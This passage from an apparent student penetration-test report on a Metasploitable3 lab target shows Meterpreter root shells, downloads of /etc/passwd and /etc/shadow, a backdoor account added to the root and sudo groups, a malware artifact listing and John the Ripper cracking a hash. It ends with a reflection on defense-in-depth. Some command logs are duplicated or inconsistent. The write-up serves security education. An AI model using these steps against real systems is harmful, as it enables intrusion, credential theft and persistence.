040755/rwxr-xr-x    4096     dir       2014-06-04 07:01:41 -0400 contexts
040755/rwxr-xr-x    4096     dir       2020-10-29 15:27:59 -0400 data
100644/rw-r--r--     768      fil       2026-09-09 22:39:58 -0400 derby.log
040755/rwxr-xr-x    4096     dir       2014-06-04 07:36:57 -0400 lib
040755/rwxr-xr-x    4096     dir       2026-09-09 22:39:45 -0400 logs
040755/rwxr-xr-x    4096     dir       2026-09-09 22:39:51 -0400 tmp

meterpreter > shell
Process 26388 created.
Channel 1 created.
uname -a
Linux metasploit3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 GNU/Linux

whoami
root

pwd
/opt/apache_continuum/apache-continuum-1.4.2
```

Fig 5.6 User root identity and shell interaction

```
exit
meterpreter > background
[*] Backgrounding session 1...
msf exploit(linux/http/apache_continuum_cmd_exec) > sessions -l

Active sessions
--
Id  Name  Type      Information                                     Connection
--
1   meterpreter x64/linux  root @ metasploit3-ub1404  192.168.100.29:5555 → 192.168.100.6:49467 (192.168.100.6)

msf exploit(linux/http/apache_continuum_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > █
```

Fig 5.7 Successful session creation

F. Sensitive Data Collected

```
exit
meterpreter > download /etc/passwd /home/captainx/legacy-linux-penetration-test/evidence/post-exploitation/passwd.txt
[*] Downloading: /etc/passwd → /home/captainx/legacy-linux-penetration-test/evidence/post-exploitation/passwd.txt/passwd
[*] Downloaded 2.30 KiB of 2.30 KiB (100.0%): /etc/passwd → /home/captainx/legacy-linux-penetration-test/evidence/post-exploitation/passwd.txt/passwd
[*] Completed : /etc/passwd → /home/captainx/legacy-linux-penetration-test/evidence/post-exploitation/passwd.txt/passwd
meterpreter > download /etc/passwd /home/captainx/capstone-xss/evidence/post-exploitation/passwd.txt
[*] Downloading: /etc/passwd → /home/captainx/capstone-xss/evidence/post-exploitation/passwd.txt/passwd
[*] Downloaded 2.30 KiB of 2.30 KiB (100.0%): /etc/passwd → /home/captainx/capstone-xss/evidence/post-exploitation/passwd.txt/passwd
[*] Completed : /etc/passwd → /home/captainx/capstone-xss/evidence/post-exploitation/passwd.txt/passwd
meterpreter > download /etc/shadow /home/captainx/capstone-xss/evidence/post-exploitation/shadow.txt
[*] Downloading: /etc/shadow → /home/captainx/capstone-xss/evidence/post-exploitation/shadow.txt/shadow
[*] Downloaded 1.92 KiB of 1.92 KiB (100.0%): /etc/shadow → /home/captainx/capstone-xss/evidence/post-exploitation/shadow.txt/shadow
[*] Completed : /etc/shadow → /home/captainx/capstone-xss/evidence/post-exploitation/shadow.txt/shadow
meterpreter > shel
[-] Unknown command: shel. Did you mean shell? Run the help command for more details.
meterpreter >
meterpreter > shell
Process 7522 created.
Channel 6 created.
useradd -m -s /bin/bash captainx
echo "captainx:Password123!" | chpasswd
usermod -aG sudo captainx
usermod -aG root captainx
id captainx
uid=1127(captainx) gid=1127(captainx) groups=1127(captainx),0(root),27(sudo)
cat /etc/passwd | grep captainx
captainx:x:1127:1127::/home/captainx:/bin/bash
█
```

Fig 6.1 Downloaded sensitive user data, including passwords

```

meterpreter > shell
Process 7522 created.
Channel 6 created.
useradd -m -s /bin/bash captainx
echo "captainx:Password123!" | chpasswd
usermod -s0 sudo captainx
usermod -s0 root captainx
id captainx
uid=1127(captainx) gid=1127(captainx) groups=1127(captainx),0(root),27(sudo)
cat /etc/passwd | grep captainx
captainx:x:1127:1127::/home/captainx:/bin/bash

su - captainx
whoami
captainx
sudo whoami
sudo: no tty present and no askpass program specified
sudo -l
sudo: no tty present and no askpass program specified
ls -la
total 20
drwxr-xr-x  2 captainx captainx 4096 Sep 10 05:04 .
drwxr-xr-x 20 root      root    4096 Sep 10 05:04 ..
-rw-r--r--  1 captainx captainx 220 Apr  9  2014 .bash_logout
-rw-r--r--  1 captainx captainx 3637 Apr  9  2014 .bashrc
-rw-r--r--  1 captainx captainx 675 Apr  9  2014 .profile
groups
captainx root sudo

# From the Meterpreter shell
echo "Password123!" | sudo -S whoami
[sudo] password for captainx: root

python -c 'import pty; pty.spawn("/bin/bash")'
captainx@metasploitable3-ub1404:~$ sudo whoami
sudo whoami
[sudo] password for captainx: Password123!

root
captainx@metasploitable3-ub1404:~$

```

Fig 6.2 Created a new user with root privileges

```

captainx@CaptainKalix: ~/capstone-xss
zsh: corrupt history file /home/captainx/.zsh_history
(captainx@CaptainKalix)~/.capstone-xss
└─$ ssh captainx@192.168.100.6
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
captainx@192.168.100.6's password:
Permission denied, please try again.
captainx@192.168.100.6's password:
Connection closed by 192.168.100.6 port 22

(captainx@CaptainKalix)~/.capstone-xss
└─$ ssh captainx@192.168.100.6
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
captainx@192.168.100.6's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 3.13.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

captainx@metasploitable3-ub1404:~$ whoami
captainx
captainx@metasploitable3-ub1404:~$ sudo whoami
[sudo] password for captainx:
root
captainx@metasploitable3-ub1404:~$

```

Fig 6.3 Successful SSH connection

```

(captainx@CaptainKalix)~/.capstone-xss
└─$ ssh captainx@192.168.100.6
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
captainx@192.168.100.6's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 3.13.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

captainx@metasploitable3-ub1404:~$ whoami
captainx
captainx@metasploitable3-ub1404:~$ sudo whoami
[sudo] password for captainx:
root
captainx@metasploitable3-ub1404:~$ pwd
/home/captainx
captainx@metasploitable3-ub1404:~$ cat /etc/passwd
cat: /etc/passwd: No such file or directory
captainx@metasploitable3-ub1404:~$ cat /etc/passwords
cat: /etc/passwords: No such file or directory
captainx@metasploitable3-ub1404:~$ sudo su -
root@metasploitable3-ub1404:~# whoami
root
root@metasploitable3-ub1404:~# userdel -r backdoor
userdel: backdoor mail spool (/var/mail/backdoor) not found
root@metasploitable3-ub1404:~# id backdoor
id: backdoor: no such user
root@metasploitable3-ub1404:~# grep backdoor /etc/passwd
root@metasploitable3-ub1404:~#

```



```
# Full details
ls -la /opt/unrealircd/Unreal3.2/KxFabJnXWh
-rwx----- 1 boba_fett users 207 Sep 10 11:06 /opt/unrealircd/Unreal3.2/KxFabJnXWh
# File type
file /opt/unrealircd/Unreal3.2/KxFabJnXWh
/opt/unrealircd/Unreal3.2/KxFabJnXWh: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
```

Fig 6.9 Installed malware artifact on Metasploitable

G. Password Cracking

```
(captainx@CaptainKaliX)-[~/legacy-linux-penetration-test/evidence/exploitation/logs]
$ echo 'vagrant:$6$NABMNgxO$T2lvEhArjOIImjvROySq8vka/r8MWhhzNgT3Z5FS1LcPS5D325ESK5LjFJymb2jo/m4NmDg8aE10TWWI3la.Y3/' > vagrant_hash_john.txt

(captainx@CaptainKaliX)-[~/legacy-linux-penetration-test/evidence/exploitation/logs]
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt vagrant_hash_john.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
No password hashes left to crack (see FAQ)

(captainx@CaptainKaliX)-[~/legacy-linux-penetration-test/evidence/exploitation/logs]
$ john --status
fopen: /home/captainx/.john/john.rec: No such file or directory

(captainx@CaptainKaliX)-[~/legacy-linux-penetration-test/evidence/exploitation/logs]
$ # After John finishes
john --show vagrant_hash_john.txt
vagrant:vagrant

1 password hash cracked, 0 left
```

Fig 7.1 Vagrant password cracking

15. Reflection & Takeaways

This engagement gave our group a much clearer picture of how quickly small, individually "low-risk" misconfigurations compound into full system compromise. Starting from a single unauthenticated FTP exploit, we were able to chain access through the IRC backdoor and ultimately the Apache Continuum service to reach root — without ever needing to guess a password. That progression was the most eye-opening part of the exercise: no single vulnerability felt catastrophic in isolation, but the combination of outdated services, excessive privileges, and plaintext credentials turned a foothold into full control.

We also underestimated how much sensitive data would be sitting in plain view once we had a shell — API keys, database credentials, and financial data were recoverable within minutes of gaining access to just one low-privileged account. This reinforced why defense-in-depth (segmentation, least privilege, secrets management) matters more than hardening any single entry point.

If we repeated this assessment, we would spend more time up front mapping the relationships between services — for example, which services shared credentials or ran with excessive privileges — before exploiting them individually, rather than treating each port as a standalone target. We would also tighten our own operational hygiene; a few of our commands were captured in shell history in ways that would not hold up in a real client engagement.

As a group, this project sharpened our ability to translate technical findings into business risk and prioritize remediation — a skill that is arguably more valuable to a client than the exploitation itself.